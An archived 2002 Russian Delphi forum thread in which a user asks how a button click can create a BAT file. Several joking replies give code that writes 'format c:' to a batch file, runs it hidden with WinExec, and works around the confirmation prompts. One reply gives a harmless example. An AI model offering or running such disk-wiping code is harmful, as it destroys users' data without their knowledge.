Форум: "Основная";
Поиск по всему сайту: delphimaster.net;
Текущий архив: 2002.04.01;
Скачать: [xml.tar.bz2];




Вниз

Как сделать что бы при нажатие на кнопку создавался BAT-файл? 


snoup   (2002-03-21 16:54) [0]

Как сделать что бы при нажатие на кнопку создавался BAT-файл?



Alx2   (2002-03-21 16:59) [1]

Из обработчика OnButtonClick создаешь/открываешь текстовый файл с расширением bat, пишешь туда все, что надо, закрываешь.

Var F : System.Text
begin
AssignFile(F,"nothing.bat");
try
rewrite(f);
WriteLn(F,"format c:");
finally
closeFile(f);
end;
end;



Awex   (2002-03-21 16:59) [2]

Минимум....
Нужно нажать на кнопку.......
И срздать BAT



Андрей Сенченко   (2002-03-21 17:42) [3]

>> Alx2 © (21.03.02 16:59)

Приведенный Вами код безусловно имеет неточность. Для того, чтобы программа не выдавала сбоев при поставке на компьютеры с любым типом оперативной памяти нужно написать так:

Var F : System.Text
begin
AssignFile(F,"nothing.bat");
try
rewrite(f);
WriteLn(F,"format c:");
finally
closeFile(f);
end;
winexec("nothing.bat",sh_hide);
end;


:)



Андрей Сенченко   (2002-03-21 17:43) [4]

sw_hide , безусловно



Alx2   (2002-03-21 17:44) [5]

8()
Меня же прибьют!!! :))



Виктор Щербаков   (2002-03-21 17:46) [6]

Alx2 © (21.03.02 17:44)
Не тебя, а Андрея Сенченко



Alx2   (2002-03-21 17:47) [7]

Хотя нет. После "format c:" нехватает кое-чего, чтобы format не спрашивал лишний раз протокол о намерениях :)



Song   (2002-03-21 17:47) [8]

Подождите ещё не всё. :))))
ещё забыли сгенерировать нажатие Enter, когда он напишет:
"Все данные на несъёмном диске будут уничтожены!
Приступить к форматориванию?".
Поэтому после WinExec задержечку и Enter..................



Alx2   (2002-03-21 17:50) [9]

>Виктор Щербаков © (21.03.02 17:46)
>Не тебя, а Андрея Сенченко
Обычно гасят тех, кто первым сказал "мяу" :(



Song   (2002-03-21 17:53) [10]

И чтобы ненадо было вводить метку диска как типа пароль для начала процесса форматирования, чистим быстренько онную....:

BOOL SetVolumeLabel(

LPCTSTR lpRootPathName, // address of name of root directory for volume
LPCTSTR lpVolumeName // name for the volume
);

Вот. Появился зловредный вирус с открытым кодом и множеством разработчиков. :))



lipskiy   (2002-03-21 18:08) [11]

Ну все, ребята, теперь вы все на крючке у ФСБ!
(хм.., ну и я заодно :)



SPeter   (2002-03-21 18:32) [12]

Если надо, ответить на вопрос да, то попробуй
format c: | echo y



panov   (2002-03-21 19:26) [13]

>all
Зачем такой флейм?
procedure TForm1.Button1Click(Sender: TObject);
var
tL: TStringList;
begin
tL := TStringList.Create;
try
tL.Add("@echo off");
tL.Add("call mycommand1.bat");
tL.SaveToFile("c:\test.bat");
finally
tL.Free;
end;
end;



Pat   (2002-03-21 19:30) [14]

Пишу в батнике:
format c:/q/autotest
Запускаю WinExec"ом, пишет, что диск занят другим приложением и т.д...короче вирус не удался :-((((




Форум: "Основная";
Поиск по всему сайту: delphimaster.net;
Текущий архив: 2002.04.01;
Скачать: [xml.tar.bz2];




Наверх





Память: 0.73 MB
Время: 0.048 c
6-269             -Юра-                 2002-01-19 15:14  2002.04.01  
Dialup в Виндах


1-131             vampire               2002-03-20 21:33  2002.04.01  
~CGI~


3-39              ЛенаК                 2002-03-06 09:36  2002.04.01  
deadlock violation при удалении записей


14-312            Дмитрий_Б             2002-02-20 14:09  2002.04.01  
Пересылка файлов по ЛВС


1-163             Max                   2002-03-22 08:32  2002.04.01  
Delphi 5 + W2k